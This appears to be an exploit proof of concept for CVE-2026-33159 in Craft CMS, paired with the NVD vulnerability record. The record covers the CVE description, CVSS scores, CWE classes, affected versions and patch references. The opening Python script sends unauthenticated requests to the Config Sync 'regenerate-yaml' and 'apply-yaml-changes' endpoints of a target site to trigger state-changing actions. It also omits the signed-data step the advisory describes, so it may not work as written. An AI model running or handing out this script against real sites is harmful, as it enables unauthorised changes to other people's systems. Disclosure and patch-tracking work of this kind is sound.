CVE-2026-33159

import requests # Target URL (Example, actual endpoint may vary based on installation) target_url = "http://target-craft-cms.com" # Vulnerable endpoints for Config Sync actions based on the description endpoints = [ "/actions/config-sync/regenerate-yaml", "/actions/config-sync/apply-yaml-changes" ] # Exploit function def exploit(): for endpoint in endpoints: try: # Send request without authentication (Guest user) response = requests.get(f"{target_url}{endpoint}") # Check if the action was successful (Status 200 usually indicates access) if response.status_code == 200: print(f"[+] Successfully triggered action: {endpoint}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Failed to trigger action: {endpoint}, Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33159", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:09.907", "lastModified": "2026-03-26T17:08:48.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, guest users can access Config Sync updater index, obtain signed data, and execute state-changing Config Sync actions (regenerate-yaml, apply-yaml-changes) without authentication. This issue has been patched in versions 4.17.8 and 5.9.14."}, {"lang": "es", "value": "Craft CMS es un sistema de gestión de contenido (CMS). Desde la versión 4.0.0-RC1 hasta antes de la versión 4.17.8 y desde la versión 5.0.0-RC1 hasta antes de la versión 5.9.14, los usuarios invitados pueden acceder al índice del actualizador de Config Sync, obtener datos firmados y ejecutar acciones de Config Sync que cambian el estado (regenerate-yaml, apply-yaml-changes) sin autenticación. Este problema ha sido parcheado en las versiones 4.17.8 y 5.9.14."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "4.0.0", "versionEndExcluding": "4.17.8", "matchCriteriaId": "6D076F04-8397-4ED0-8428-6D04B786A0A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "5.0.0", "versionEndExcluding": "5.9.14", "matchCriteriaId": "7ADCA708-F32E-4943-B523-CF5029C48A50"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "610F6DE9-720F-45B3-81D5-18E7F6B090FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "CC2F40FC-7C27-456A-B16D-679410D1D5CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "FBAA8227-04F8-404C-907B-B0162B325F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "21B28E2C-327A-4CE6-ACAD-97E459712A55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "1C7461CF-35AB-48E1-88B6-956DAE1D2AB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "8D8E02D1-601A-4E2B-B619-4775BFDB72D0"}]}]}], "references": [{"url": "https://github.com/craftcms/cms/commit/7f0ead833f7c2b91ae12003caad833479dd08592", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/craftcms/cms/releases/tag/4.17.8", "source": "[email protected]", ... (truncated)